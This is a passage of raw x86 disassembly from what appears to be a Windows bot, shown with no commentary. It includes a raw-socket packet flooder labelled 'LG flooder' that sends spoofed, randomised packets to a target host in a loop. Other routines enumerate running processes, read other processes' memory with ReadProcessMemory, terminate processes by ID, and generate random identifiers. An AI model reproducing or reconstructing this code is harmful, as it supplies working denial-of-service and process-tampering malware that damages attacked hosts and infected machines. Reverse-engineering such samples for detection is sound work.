call dword_412258 ; recv
test eax, eax
jz short loc_403DF3
cmp eax, 0FFFFFFFFh
jz short loc_403DF3
cmp eax, esi
jb short loc_403DEF
loc_403DDF: ; CODE XREF: sub_403DB2+9j
push 271Eh
call dword_412244 ; WSASetLastError
or eax, 0FFFFFFFFh
jmp short loc_403DF3
; ---------------------------------------------------------------------------
loc_403DEF: ; CODE XREF: sub_403DB2+2Bj
and byte ptr [eax+edi], 0
loc_403DF3: ; CODE XREF: sub_403DB2+22j
; sub_403DB2+27j ...
pop edi
pop esi
retn
sub_403DB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DF6 proc near ; CODE XREF: sub_402018+70p
; sub_402018+195p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_0]
call sub_403E1F
pop ecx
test eax, eax
pop ecx
jnz short loc_403E0C
pop ebp
retn
; ---------------------------------------------------------------------------
loc_403E0C: ; CODE XREF: sub_403DF6+12j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403DB2
add esp, 0Ch
pop ebp
retn
sub_403DF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E1F proc near ; CODE XREF: sub_403DF6+9p
; sub_40B6BE+19p ...
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1010h
call sub_411540
mov eax, [ebp+arg_4]
mov ecx, 3E8h
push ebx
xor edx, edx
mov ebx, ecx
push esi
div ebx
xor edx, edx
push edi
push 1
mov edi, [ebp+arg_0]
pop esi
mov [ebp+var_808], edi
mov [ebp+var_80C], esi
mov [ebp+var_100C], edi
mov [ebp+var_1010], esi
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
div ecx
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_1010]
push eax
lea eax, [ebp+var_80C]
push 0
push eax
push esi
imul edx, 3E8h
mov [ebp+var_4], edx
call dword_412214 ; select
cmp eax, esi
jz short loc_403E91
xor eax, eax
jmp short loc_403EA4
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_403E1F+6Cj
lea eax, [ebp+var_80C]
push eax
push edi
call sub_4117E8 ; __WSAFDIsSet
neg eax
sbb eax, eax
neg eax
loc_403EA4: ; CODE XREF: sub_403E1F+70j
pop edi
pop esi
pop ebx
leave
retn
sub_403E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EA9 proc near ; DATA XREF: sub_4044AA+BCo
var_1338 = byte ptr -1338h
var_1336 = word ptr -1336h
var_1334 = word ptr -1334h
var_1330 = byte ptr -1330h
var_132F = byte ptr -132Fh
var_132E = word ptr -132Eh
var_132C = dword ptr -132Ch
var_1328 = dword ptr -1328h
var_1324 = word ptr -1324h
var_1322 = word ptr -1322h
var_1320 = word ptr -1320h
var_131C = byte ptr -131Ch
var_2D8 = dword ptr -2D8h
var_131 = byte ptr -131h
var_31 = byte ptr -31h
var_2B = dword ptr -2Bh
var_27 = dword ptr -27h
var_23 = dword ptr -23h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1338h
call sub_411540
push ebx
push esi
push edi
push 2B9h
push [ebp+arg_0]
lea eax, [ebp+var_2D8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
mov esi, 0FFh
push esi
push 3
push 2
call dword_41222C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403F78
push 1
lea ecx, [ebp+var_1C]
pop edi
xor ebx, ebx
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_1C], edi
call dword_412218 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_403F78
push ebx
push [ebp+var_4]
call sub_40344B
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_4114E8 ; memset
lea eax, [ebp+var_31]
mov [ebp+var_18], 2
push eax
call sub_41151C ; atoi
add esp, 18h
push eax
call dword_412248 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_131]
push eax
call dword_412254 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_14], eax
jnz short loc_403F88
lea eax, [ebp+var_131]
push eax
call dword_41224C ; gethostbyname
cmp eax, ebx
jz short loc_403F78
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0FFFFFFFFh
mov [ebp+var_14], eax
jnz short loc_403F88
loc_403F78: ; CODE XREF: sub_403EA9+45j
; sub_403EA9+66j ...
push [ebp+var_2D8]
call sub_406E6F
jmp loc_40448B
; ---------------------------------------------------------------------------
loc_403F88: ; CODE XREF: sub_403EA9+ADj
; sub_403EA9+CDj
push 1060h
lea eax, [ebp+var_1338]
push ebx
push eax
call sub_4114E8 ; memset
mov al, [ebp+var_1338]
add esp, 0Ch
and al, 0F5h
mov [ebp+var_132F], 11h
or al, 5
mov [ebp+var_8], ebx
and al, 0Fh
or al, 40h
cmp [ebp+var_2B], ebx
mov [ebp+var_1338], al
mov eax, [ebp+var_14]
mov [ebp+var_1328], eax
mov ax, [ebp+var_16]
mov [ebp+var_1322], ax
jle loc_404477
mov ebx, 0FFFFh
loc_403FDD: ; CODE XREF: sub_403EA9+5C8j
mov eax, [ebp+var_23]
dec eax
jz loc_40424E
dec eax
jz loc_404176
dec eax
jnz short loc_404000
push 2
push 0
call sub_40B459
pop ecx
test eax, eax
pop ecx
jnz short loc_404026
loc_404000: ; CODE XREF: sub_403EA9+146j
push ebx
push edi
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU_0 ; "%u"
push eax
call sub_4114DC ; sprintf
add esp, 0Ch
jmp loc_404354
; ---------------------------------------------------------------------------
loc_404026: ; CODE XREF: sub_403EA9+155j
cmp eax, edi
push ebx
push edi
jnz loc_4040D7
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU ; "%u\r\n"
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 10h
loc_40405B: ; CODE XREF: sub_403EA9+22Cj
cmp eax, 7D0h
push ebx
push edi
jnb loc_4042F3
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_131C]
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 20h
jmp short loc_40405B
; ---------------------------------------------------------------------------
loc_4040D7: ; CODE XREF: sub_403EA9+181j
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU ; "%u\r\n"
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 10h
loc_404102: ; CODE XREF: sub_403EA9+2CBj
cmp eax, 7D0h
push edi
push 0
jnb loc_404213
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
lea eax, [ebp+var_131C]
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_131C]
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 20h
jmp short loc_404102
; ---------------------------------------------------------------------------
loc_404176: ; CODE XREF: sub_403EA9+13Fj
push ebx
push edi
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU ; "%u\r\n"
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 10h
loc_4041A3: ; CODE XREF: sub_403EA9+368j
cmp eax, 7D0h
push edi
push 0
jnb short loc_404213
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
lea eax, [ebp+var_131C]
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_131C]
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 20h
jmp short loc_4041A3
; ---------------------------------------------------------------------------
loc_404213: ; CODE XREF: sub_403EA9+261j
; sub_403EA9+302j
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
push 0
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push edi
jmp loc_404332
; ---------------------------------------------------------------------------
loc_40424E: ; CODE XREF: sub_403EA9+138j
push ebx
push edi
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU ; "%u\r\n"
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 10h
loc_40427B: ; CODE XREF: sub_403EA9+448j
cmp eax, 7D0h
push ebx
push edi
jnb short loc_4042F3
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
lea eax, [ebp+var_131C]
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_131C]
push eax
call sub_4114DC ; sprintf
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
add esp, 20h
jmp short loc_40427B
; ---------------------------------------------------------------------------
loc_4042F3: ; CODE XREF: sub_403EA9+1B9j
; sub_403EA9+3D9j
call sub_40B459
pop ecx
movzx eax, ax
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
push esi
push edi
call sub_40B459
pop ecx
movzx eax, al
pop ecx
push eax
loc_404332: ; CODE XREF: sub_403EA9+3A0j
lea eax, [ebp+var_131C]
push offset dword_413A68
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_131C]
push eax
call sub_4114DC ; sprintf
add esp, 1Ch
loc_404354: ; CODE XREF: sub_403EA9+178j
lea eax, [ebp+var_131C]
push eax
call sub_4114BE ; strlen
xor edx, edx
pop ecx
test eax, eax
mov [ebp+arg_0], eax
jbe short loc_404384
loc_40436A: ; CODE XREF: sub_403EA9+4D9j
mov al, [ebp+edx+var_131C]
lea ecx, [ebp+edx+var_131C]
shl al, 1
mov [ecx], al
mov eax, [ebp+arg_0]
inc edx
cmp edx, eax
jb short loc_40436A
loc_404384: ; CODE XREF: sub_403EA9+4BFj
add eax, 1Ch
push eax
call dword_412248 ; htons
mov [ebp+var_1336], ax
call sub_40B493
push eax
call dword_412248 ; htons
mov [ebp+var_1334], ax
call sub_40B4C3
neg eax
sbb al, al
push 2
and al, 0C0h
push offset dword_41A2E8
add al, 80h
mov [ebp+var_1330], al
call dword_412254 ; inet_addr
push eax
call sub_4031A7
mov [ebp+var_132C], eax
mov eax, [ebp+arg_0]
add eax, 14h
push eax
lea eax, [ebp+var_1338]
push eax
call sub_40315E
add esp, 10h
cmp [ebp+var_16], 0
mov [ebp+var_132E], ax
jnz short loc_404404
call sub_40B493
mov [ebp+var_1322], ax
loc_404404: ; CODE XREF: sub_403EA9+54Dj
push ebx
push edi
call sub_40B459
pop ecx
pop ecx
push eax
call dword_412248 ; htons
mov [ebp+var_1324], ax
mov eax, [ebp+arg_0]
add eax, 8
push eax
call dword_412248 ; htons
mov [ebp+var_1320], ax
lea eax, [ebp+var_18]
push 10h
push eax
mov eax, [ebp+arg_0]
push 0
add eax, 1Ch
push eax
lea eax, [ebp+var_1338]
push eax
push [ebp+var_4]
call dword_412260 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_404495
push [ebp+var_27]
call dword_4120A4 ; Sleep
mov eax, [ebp+var_2D8]
cmp dword ptr [eax+4], 0
jnz short loc_404477
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_2B]
jl loc_403FDD
loc_404477: ; CODE XREF: sub_403EA9+129j
; sub_403EA9+5BDj
push [ebp+var_4]
call sub_403D92
push [ebp+var_2D8]
call sub_406E6F
loc_40448A: ; CODE XREF: sub_403EA9+5FFj
pop ecx
loc_40448B: ; CODE XREF: sub_403EA9+DAj
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_404495: ; CODE XREF: sub_403EA9+5A8j
push [ebp+var_2D8]
call sub_406E6F
push [ebp+var_4]
call sub_403D92
jmp short loc_40448A
sub_403EA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044AA proc near ; CODE XREF: sub_407A76+582p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push esi
jz loc_404579
cmp [ebp+arg_8], 0
jz loc_404579
cmp [ebp+arg_14], 0
jz loc_404579
push 2B9h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz loc_404579
push [ebp+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
push 100h
lea eax, [esi+1A7h]
push [ebp+arg_4]
push eax
call sub_4059C2
push 6
lea eax, [esi+2A7h]
push [ebp+arg_8]
push eax
call sub_4059C2
push [ebp+arg_C]
call sub_41151C ; atoi
push [ebp+arg_10]
mov [esi+2ADh], eax
call sub_41151C ; atoi
push [ebp+arg_14]
mov [esi+2B1h], eax
call sub_41151C ; atoi
mov ecx, [esi+2B1h]
mov [esi+2B5h], eax
mov eax, 0EA60h
add esp, 2Ch
cmp ecx, eax
jge short loc_404550
mov eax, ecx
loc_404550: ; CODE XREF: sub_4044AA+A2j
cmp eax, 64h
mov [esi+2B1h], eax
jg short loc_40455E
push 64h
pop eax
loc_40455E: ; CODE XREF: sub_4044AA+AFj
push offset aLgFlooder ; "LG flooder"
push 0
push esi
push offset sub_403EA9
mov [esi+2B1h], eax
call sub_406D58
add esp, 10h
loc_404579: ; CODE XREF: sub_4044AA+8j
; sub_4044AA+12j ...
pop esi
pop ebp
retn
sub_4044AA endp
; =============== S U B R O U T I N E =======================================
sub_40457C proc near ; CODE XREF: sub_4014B0+53p
; sub_4018D5+64p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jnz short loc_4045A1
push esi
mov esi, [esp+4+arg_0]
push 1A3h
push 0
push esi
call sub_4114E8 ; memset
add esp, 0Ch
mov byte ptr [esi+198h], 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_40457C+5j
push 1A3h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4114D0 ; memcpy
add esp, 0Ch
retn
sub_40457C endp
; =============== S U B R O U T I N E =======================================
sub_4045B7 proc near ; CODE XREF: sub_4111E8+BDp
var_8 = dword ptr -8
push edi
push offset dword_419650
call sub_4071D2
mov [esp+8+var_8], offset aPsapi_dll ; "psapi.dll"
call dword_41205C ; LoadLibraryA
mov edi, eax
test edi, edi
jz short loc_404637
push esi
mov esi, dword_412060
push offset aEnumprocesses ; "EnumProcesses"
push edi
call esi ; GetProcAddress
push offset aEnumprocessmod ; "EnumProcessModules"
push edi
mov dword_41964C, eax
call esi ; GetProcAddress
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push edi
mov dword_419640, eax
call esi ; GetProcAddress
push offset aGetmoduleinfor ; "GetModuleInformation"
push edi
mov dword_419644, eax
call esi ; GetProcAddress
cmp dword_41964C, 0
mov dword_419648, eax
pop esi
jz short loc_404637
cmp dword_419640, 0
jz short loc_404637
cmp dword_419644, 0
jz short loc_404637
test eax, eax
jz short loc_404637
mov byte_41966C, 1
loc_404637: ; CODE XREF: sub_4045B7+1Cj
; sub_4045B7+61j ...
pop edi
retn
sub_4045B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404639 proc near ; CODE XREF: sub_4011C4+56p
; sub_40485F+2Ap
var_125 = byte ptr -125h
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 124h
push ebx
push esi
push edi
push offset dword_419650
call sub_407200
cmp byte_41966C, 0
pop ecx
jnz short loc_404660
loc_404659: ; CODE XREF: sub_404639+35j
; sub_404639+4Cj ...
xor esi, esi
jmp loc_404842
; ---------------------------------------------------------------------------
loc_404660: ; CODE XREF: sub_404639+1Ej
and [ebp+var_14], 0
push 0
call sub_4114C4 ; malloc
test eax, eax
pop ecx
jz short loc_404659
mov esi, 80h
push esi
mov ebx, esi
push eax
loc_404679: ; CODE XREF: sub_404639+6Dj
call sub_411576 ; realloc
pop ecx
mov [ebp+var_4], eax
test eax, eax
pop ecx
jz short loc_404659
lea eax, [ebp+var_14]
push eax
push ebx
push [ebp+var_4]
call dword_41964C
test eax, eax
jz short loc_4046C6
mov edi, [ebp+var_14]
cmp edi, ebx
jb short loc_4046A8
add ebx, esi
push ebx
push [ebp+var_4]
jmp short loc_404679
; ---------------------------------------------------------------------------
loc_4046A8: ; CODE XREF: sub_404639+65j
shr edi, 2
mov eax, edi
mov [ebp+var_10], edi
imul eax, 114h
add eax, 8
push eax
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4046D1
loc_4046C6: ; CODE XREF: sub_404639+5Ej
push [ebp+var_4]
call sub_4114CA ; free
pop ecx
jmp short loc_404659
; ---------------------------------------------------------------------------
loc_4046D1: ; CODE XREF: sub_404639+8Bj
lea eax, [esi+8]
mov [esi], edi
test edi, edi
mov [esi+4], eax
jbe short loc_404726
mov eax, [ebp+var_4]
xor ebx, ebx
mov [ebp+var_8], eax
mov [ebp+var_C], edi
loc_4046E8: ; CODE XREF: sub_404639+E8j
mov edi, 114h
push edi
push 0
push dword ptr [esi+4]
call sub_4114E8 ; memset
mov ecx, [ebp+var_8]
mov eax, [esi+4]
push offset aSystem ; "system"
mov ecx, [ecx]
mov [ebx+eax], ecx
mov eax, [esi+4]
lea eax, [ebx+eax+0Ch]
push eax
call sub_4114B8 ; _mbscpy
add [ebp+var_8], 4
add esp, 14h
add ebx, edi
dec [ebp+var_C]
jnz short loc_4046E8
mov edi, [ebp+var_10]
loc_404726: ; CODE XREF: sub_404639+A2j
push [ebp+var_4]
call sub_4114CA ; free
test edi, edi
pop ecx
jbe loc_404842
xor ebx, ebx
mov [ebp+var_4], edi
loc_40473C: ; CODE XREF: sub_404639+203j
mov eax, [esi+4]
push dword ptr [ebx+eax]
push 0
push 410h
call dword_41209C ; OpenProcess
mov edi, eax
test edi, edi
mov [ebp+var_8], edi
jz loc_404833
and [ebp+var_10], 0
and [ebp+var_C], 0
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C]
push 4
push eax
push edi
call dword_419640
test eax, eax
jnz short loc_40477F
push edi
jmp loc_40482D
; ---------------------------------------------------------------------------
loc_40477F: ; CODE XREF: sub_404639+13Ej
lea eax, [ebp+var_20]
push 0Ch
push eax
push [ebp+var_C]
push edi
call dword_419648
mov eax, [esi+4]
mov ecx, [ebp+var_20]
push 40h
lea edi, [ebp+var_123]
mov [ebx+eax+4], ecx
mov eax, [esi+4]
mov ecx, [ebp+var_1C]
mov [ebx+eax+8], ecx
mov al, byte_4191D0
mov [ebp+var_124], al
pop ecx
xor eax, eax
rep stosd
stosw
stosb
mov edi, 104h
lea eax, [ebp+var_124]
push edi
push eax
push [ebp+var_20]
push [ebp+var_8]
call dword_419644
test eax, eax
jz short loc_40482A
cmp [ebp+var_124], 0
jz short loc_40482A
lea eax, [ebp+var_124]
push edi
push eax
mov eax, [esi+4]
lea eax, [ebx+eax+0Ch]
push eax
call sub_4114D6 ; strncpy
lea eax, [ebp+var_124]
push eax
call sub_4114BE ; strlen
add esp, 10h
test eax, eax
jz short loc_40482A
loc_40480C: ; CODE XREF: sub_404639+1E3j
cmp eax, 1
jbe short loc_40482A
cmp [ebp+eax+var_125], 5Ch
jz short loc_404820
dec eax
jnz short loc_40480C
jmp short loc_40482A
; ---------------------------------------------------------------------------
loc_404820: ; CODE XREF: sub_404639+1E0j
mov ecx, [esi+4]
mov [ebx+ecx+110h], eax
loc_40482A: ; CODE XREF: sub_404639+1A0j
; sub_404639+1A9j ...
push [ebp+var_8]
loc_40482D: ; CODE XREF: sub_404639+141j
call dword_4120AC ; CloseHandle
loc_404833: ; CODE XREF: sub_404639+11Dj
add ebx, 114h
dec [ebp+var_4]
jnz loc_40473C
loc_404842: ; CODE XREF: sub_404639+22j
; sub_404639+F8j
push offset dword_419650
call sub_40720B
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_404639 endp
; =============== S U B R O U T I N E =======================================
sub_404854 proc near ; CODE XREF: sub_4011C4+27Bp
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4114CA ; free
pop ecx
retn
sub_404854 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40485F proc near ; DATA XREF: sub_40491E+2Fo
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A8h
push esi
push edi
push 1A7h
lea eax, [ebp+var_1A8]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
add esp, 10h
call sub_404639
mov esi, eax
xor edi, edi
cmp esi, edi
jz short loc_40490A
mov eax, [ebp+var_1A8]
push ebx
push dword ptr [esi]
push dword ptr [eax]
lea eax, [ebp+var_1A4]
push offset dword_413B24
push eax
call sub_4096CB
add esp, 10h
xor ebx, ebx
cmp [esi], edi
jle short loc_404902
loc_4048BB: ; CODE XREF: sub_40485F+A1j
push 3E8h
call dword_4120A4 ; Sleep
mov eax, [esi+4]
add eax, edi
lea ecx, [eax+0Ch]
push ecx
push dword ptr [eax+8]
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_1A4]
push offset dword_413B0C
push eax
call sub_4096CB
mov eax, [ebp+var_1A8]
add esp, 18h
cmp dword ptr [eax+4], 0
jnz short loc_404902
inc ebx
add edi, 114h
cmp ebx, [esi]
jl short loc_4048BB
loc_404902: ; CODE XREF: sub_40485F+5Aj
; sub_40485F+96j
push esi
call sub_4114CA ; free
pop ecx
pop ebx
loc_40490A: ; CODE XREF: sub_40485F+35j
push [ebp+var_1A8]
call sub_406E6F
pop ecx
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40485F endp
; =============== S U B R O U T I N E =======================================
sub_40491E proc near ; CODE XREF: sub_407A76+2B1p
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40495A
push 1A3h
lea eax, [esi+4]
push [esp+8+arg_0]
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
push offset dword_413B4C
push 0
push esi
push offset sub_40485F
call sub_406D58
add esp, 10h
loc_40495A: ; CODE XREF: sub_40491E+10j
pop esi
retn
sub_40491E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40495C proc near ; CODE XREF: sub_407A76+621p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
push esi
push edi
jz loc_404A2E
cmp [ebp+arg_C], 0
jz loc_404A2E
push [ebp+arg_4]
call sub_41151C ; atoi
push [ebp+arg_8]
mov ebx, eax
call sub_4079AC
push [ebp+arg_C]
mov [ebp+arg_8], eax
call sub_41151C ; atoi
mov esi, eax
mov eax, 180h
add esp, 0Ch
cmp esi, eax
jbe short loc_4049A3
mov esi, eax
loc_4049A3: ; CODE XREF: sub_40495C+43j
lea eax, [esi+1]
push eax
call sub_4114C4 ; malloc
pop ecx
mov edi, eax
push ebx
xor ebx, ebx
push ebx
push 10h
call dword_41209C ; OpenProcess
cmp eax, ebx
mov [ebp+arg_C], eax
jnz short loc_4049CB
push edi
call sub_4114CA ; free
pop ecx
jmp short loc_404A2E
; ---------------------------------------------------------------------------
loc_4049CB: ; CODE XREF: sub_40495C+64j
lea ecx, [ebp+arg_4]
mov [ebp+arg_4], ebx
push ecx
push esi
push edi
push [ebp+arg_8]
push eax
call dword_4120A0 ; ReadProcessMemory
test eax, eax
jz short loc_404A1E
cmp [ebp+arg_4], ebx
jz short loc_404A1E
and byte ptr [edi+esi], 0
xor ecx, ecx
cmp [ebp+arg_4], ebx
jbe short loc_404A13
loc_4049F2: ; CODE XREF: sub_40495C+B5j
mov al, [ecx+edi]
cmp al, 0Ah
jz short loc_404A09
cmp al, 0Dh
jz short loc_404A09
cmp al, 1Fh
jz short loc_404A09
cmp al, 16h
jz short loc_404A09
cmp al, 10h
jg short loc_404A0D
loc_404A09: ; CODE XREF: sub_40495C+9Bj
; sub_40495C+9Fj ...
mov byte ptr [ecx+edi], 2Eh
loc_404A0D: ; CODE XREF: sub_40495C+ABj
inc ecx
cmp ecx, [ebp+arg_4]
jb short loc_4049F2
loc_404A13: ; CODE XREF: sub_40495C+94j
push edi
push [ebp+arg_0]
call sub_4096CB
pop ecx
pop ecx
loc_404A1E: ; CODE XREF: sub_40495C+84j
; sub_40495C+89j
push edi
call sub_4114CA ; free
pop ecx
push [ebp+arg_C]
call dword_4120AC ; CloseHandle
loc_404A2E: ; CODE XREF: sub_40495C+Aj
; sub_40495C+14j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40495C endp
; =============== S U B R O U T I N E =======================================
sub_404A33 proc near ; CODE XREF: sub_407A76+298p
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push esi
jz short loc_404A6E
push [esp+4+arg_4]
call sub_41151C ; atoi
pop ecx
mov esi, eax
call dword_4120F0
cmp esi, eax
jz short loc_404A6E
push esi
push 0
push 1
call dword_41209C ; OpenProcess
mov esi, eax
push 0
push esi
call dword_4120A8 ; TerminateProcess
push esi
call dword_4120AC ; CloseHandle
loc_404A6E: ; CODE XREF: sub_404A33+6j
; sub_404A33+1Cj
pop esi
retn
sub_404A33 endp
; =============== S U B R O U T I N E =======================================
sub_404A70 proc near ; CODE XREF: sub_402EFD+10Bp
; sub_407A76+94p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
loc_404A78: ; CODE XREF: sub_404A70+1Aj
push 7Ah
push 61h
call sub_40B459
mov [esi+edi], al
inc esi
pop ecx
cmp esi, 8
pop ecx
jl short loc_404A78
and byte ptr [edi+8], 0
mov edi, [esp+8+arg_4]
xor esi, esi
loc_404A96: ; CODE XREF: sub_404A70+38j
push 7Ah
push 61h
call sub_40B459
mov [esi+edi], al
inc esi
pop ecx
cmp esi, 6
pop ecx
jl short loc_404A96
and byte ptr [edi+6], 0
mov edi, [esp+8+arg_8]
xor esi, esi
loc_404AB4: ; CODE XREF: sub_404A70+56j
push 7Ah
push 61h
call sub_40B459
mov [esi+edi], al
inc esi
pop ecx
cmp esi, 10h
pop ecx
jl short loc_404AB4
and byte ptr [edi+10h], 0
pop edi
pop esi
retn
sub_404A70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404ACF proc near ; CODE XREF: sub_407A76+962p
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
